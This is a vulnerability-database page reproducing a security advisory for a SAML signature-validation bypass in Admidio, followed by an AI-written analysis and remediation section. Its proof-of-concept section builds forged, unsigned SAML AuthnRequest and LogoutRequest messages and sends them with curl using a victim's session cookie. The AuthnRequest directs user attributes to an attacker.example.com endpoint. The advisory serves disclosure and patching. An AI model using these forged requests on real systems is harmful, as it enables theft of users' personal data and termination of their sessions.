Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
The Admidio SAML Identity Provider implementation discards the return value of its validateSignature() method at both call sites (handleSSORequest() line 418 and handleSLORequest() line 613). The method returns error strings on failure rather than throwing exceptions, but the developer believed it would throw (per comments on lines 416 and 611). This means the smc_require_auth_signed configuration option is completely ineffective - unsigned or invalidly-signed SAML AuthnRequests and LogoutRequests are processed identically to properly signed ones.
Details
The validateSignature() method at src/SSO/Service/SAMLService.php:355 has three possible return paths:
// Line 355-392
public function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool|string {
global $gL10n;
$certPem = $client->getValue('smc_x509_certificate');
if (!$certPem) {
if ($required) {
return $gL10n->get('SYS_SSO_SAML_SIGNATURE_KEY_MISSING'); // Returns STRING, not throw
} else {
return false;
}
}
// ...
$signatureReader = $message->getSignature();
if (is_null($signatureReader)) {
if ($required) {
return $gL10n->get('SYS_SSO_SAML_SIGNATURE_MISSING'); // Returns STRING, not throw
} else {
return false;
}
}
try {
$ok = $signatureReader->validate($key);
if ($ok) {
return true;
} else {
return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw
}
} catch (Exception $ex) {
return $gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw
}
}Both call sites discard the return value entirely:
// Line 416-419 in handleSSORequest()
// Validate signatures. Will throw an exception <-- INCORRECT COMMENT
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
$this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed'));
// Return value discarded - execution continues regardless of validation result
}
// Line 611-614 in handleSLORequest()
// Validate signatures. Will throw an exception <-- INCORRECT COMMENT
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
$this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed'));
// Return value discarded - execution continues regardless of validation result
}SSO exploitation path (for already-logged-in users):
modules/sso/index.php:92routes tohandleSSORequest()- Line 403:
receiveMessage()parses SAML binding directly from HTTP GET/POST - no authentication required - Line 408-409: Entity ID extracted from the forged request's Issuer element, client config loaded
- Line 417-419: Signature validation called but return value discarded - flow continues
- Line 421:
$gValidLoginis true for logged-in users, so login form is skipped - Lines 438-580: SAML Response built with user's real attributes (login, name, email, roles) and sent to the
AssertionConsumerServiceURLfrom the forged request
SLO exploitation path:
modules/sso/index.php:94routes tohandleSLORequest()- Line 613: Signature validation discarded
- Lines 621-629: User's session is deleted from the database and
$gCurrentSession->logout()is called
PoC
# Prerequisites:
# - Admidio instance with SAML SSO enabled (sso_saml_enabled=1)
# - At least one registered SAML SP client with smc_require_auth_signed=true
# - A user with an active session (e.g., admin browsing the Admidio panel)
# 1. Generate an unsigned AuthnRequest impersonating a registered SP:
AUTHN_REQUEST=$(python3 -c "
import base64, zlib
req = '<samlp:AuthnRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_fake123\" Version=\"2.0\" IssueInstant=\"2026-03-27T00:00:00Z\" AssertionConsumerServiceURL=\"https://attacker.example.com/acs\"><saml:Issuer>https://legitimate-sp.example.com/entity-id</saml:Issuer></samlp:AuthnRequest>'
print(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())
")
# 2. Send the unsigned request via HTTP-Redirect binding (GET):
# If a logged-in user's browser follows this link (e.g., via CSRF/social engineering),
# Admidio generates a signed SAML assertion with the user's PII and sends it
# to the attacker-controlled ACS URL.
curl -v "https://admidio.example.org/adm_program/modules/sso/index.php/saml/sso?SAMLRequest=${AUTHN_REQUEST}" \
-b 'PHPSESSID=VICTIM_SESSION_COOKIE'
# Expected: Despite smc_require_auth_signed=true, the unsigned request is processed.
# The response contains a SAML assertion with the victim's attributes.
# 3. For SLO - forge a LogoutRequest to terminate a victim's session:
LOGOUT_REQUEST=$(python3 -c "
import base64, zlib
req = '<samlp:LogoutRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_fake456\" Version=\"2.0\" IssueInstant=\"2026-03-27T00:00:00Z\"><saml:Issuer>https://legitimate-sp.example.com/entity-id</saml:Issuer><saml:NameID>victim@example.com</saml:NameID></samlp:LogoutRequest>'
print(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())
")
curl -v "https://admidio.example.org/adm_program/modules/sso/index.php/saml/slo?SAMLRequest=${LOGOUT_REQUEST}" \
-b 'PHPSESSID=VICTIM_SESSION_COOKIE'
# Expected: Victim's session is terminated, logout cascaded to all registered SPs.Impact
- Signature enforcement bypass: The
smc_require_auth_signedsetting is entirely ineffective. Administrators who enable this setting believing it protects against forged requests have a false sense of security. - User attribute disclosure (SSO): When combined with the ability to specify an arbitrary
AssertionConsumerServiceURL, an attacker can redirect a logged-in user's SAML assertion (containing login name, email, real name, role memberships) to an attacker-controlled endpoint. - Session termination (SLO): An attacker can forge LogoutRequests to terminate any user's Admidio session and trigger cascading single logout across all registered Service Providers, causing denial of service for targeted users.
- Amplifies ACS URL injection: The signature requirement was the primary defense against unvalidated ACS URLs in AuthnRequests. Without signature enforcement, the ACS redirect becomes trivially exploitable via GET redirect binding (which bypasses SameSite=Lax cookie restrictions).
Recommended Fix
Check the return value of validateSignature() and throw on failure. In src/SSO/Service/SAMLService.php, fix both call sites:
// In handleSSORequest(), replace lines 416-419:
// Validate signatures
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
$result = $this->validateSignature($client, $request, (bool)$client->getValue('smc_require_auth_signed'));
if ($result !== true && $result !== false) {
// $result is an error message string - validation failed
throw new Exception($result);
}
}
// In handleSLORequest(), replace lines 611-614 with the same pattern:
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
$result = $this->validateSignature($client, $request, (bool)$client->getValue('smc_require_auth_signed'));
if ($result !== true && $result !== false) {
throw new Exception($result);
}
}Alternatively, refactor validateSignature() to throw exceptions on failure (matching the developer's original intent as documented in the comments), which would make both call sites correct as-is:
public function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool {
global $gL10n;
$certPem = $client->getValue('smc_x509_certificate');
if (!$certPem) {
if ($required) {
throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_KEY_MISSING'));
}
return false;
}
// ... (same cert loading logic) ...
$signatureReader = $message->getSignature();
if (is_null($signatureReader)) {
if ($required) {
throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_MISSING'));
}
return false;
}
try {
if (!$signatureReader->validate($key)) {
throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'));
}
return true;
} catch (Exception $ex) {
throw new Exception($gL10n->get('SYS_SSO_SAML_SIGNATURE_FAILED'));
}
}AnalysisAI
SAML signature validation in Admidio's Identity Provider implementation can be completely bypassed due to discarded return values in authentication flows. The validateSignature() method returns error strings on failure but both call sites (SSO and Single Logout handlers) discard the return value, allowing unsigned or invalidly-signed SAML requests to proceed. Attackers can forge AuthnRequests to exfiltrate logged-in users' personal data (username, email, real name, role memberships) to attacker-controlled endpoints, or forge LogoutRequests to terminate victim sessions and cascade logout across federated Service Providers. The smc_require_auth_signed configuration setting provides no protection. Public exploit code exists (PoC in GitHub advisory). CVSS 8.2 reflects network-accessible attack with no authentication required, though practical exploitation of the SSO path requires victim to have an active session. No active exploitation confirmed at time of analysis.
Technical ContextAI
This vulnerability affects Admidio's SAML 2.0 Identity Provider implementation in the SSO module (src/SSO/Service/SAMLService.php). SAML relies on XML digital signatures to authenticate federation messages and prevent tampering. The validateSignature() method is designed to verify X.509 certificate-based signatures on SAML AuthnRequests and LogoutRequests using the Service Provider's registered public key. However, the method uses a mixed return type (bool|string) - returning true on success, false when signatures are optional and missing, and localized error message strings on validation failures. The developers incorrectly assumed the method would throw exceptions (documented in code comments on lines 416 and 611), so both invocations in handleSSORequest() and handleSLORequest() call the method without capturing or checking its return value. This is a classic example of CWE-347 (Improper Verification of Cryptographic Signature) where the signature verification mechanism exists but its result is ignored. The affected component processes SAML HTTP-Redirect and HTTP-POST bindings via modules/sso/index.php, which routes directly to these handlers without requiring prior authentication to invoke signature validation - though successful SSO attribute release does require the victim to have an active Admidio session. The Composer package identifier is pkg:composer/admidio/admidio.
RemediationAI
Upgrade immediately to Admidio version 5.0.9, which fixes the signature validation enforcement. The patch modifies both call sites in SAMLService.php to check the validateSignature() return value and throw exceptions when validation fails (when the return value is a string error message rather than boolean true/false). Download from the official GitHub release at https://github.com/Admidio/admidio/releases/tag/v5.0.9 or update via Composer with 'composer require admidio/admidio:^5.0.9'. If immediate patching is not possible, implement these compensating controls with noted trade-offs: (1) Disable SAML SSO entirely by setting sso_saml_enabled=0 in configuration - this breaks all federated authentication workflows but eliminates the attack surface. (2) Implement web application firewall rules to block SAML requests without valid Signature or SigAlg query parameters in the HTTP-Redirect binding, and reject HTTP-POST requests lacking ds:Signature elements in the XML payload - this is bypassable if attackers craft signatures that fail cryptographic validation but pass WAF pattern matching, and requires deep XML inspection capabilities. (3) Restrict access to /adm_program/modules/sso/index.php to trusted IP ranges using web server ACLs - this prevents external attackers from invoking SAML endpoints but does not protect against internal threats or users on trusted networks. After patching, verify the fix by testing that unsigned SAML requests are properly rejected when smc_require_auth_signed is enabled, and review audit logs for any suspicious SAML activity during the vulnerable period. The GitHub advisory at https://github.com/Admidio/admidio/security/advisories/GHSA-25cw-98hg-g3cg provides additional technical guidance and detection strategies.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-28279
GHSA-25cw-98hg-g3cg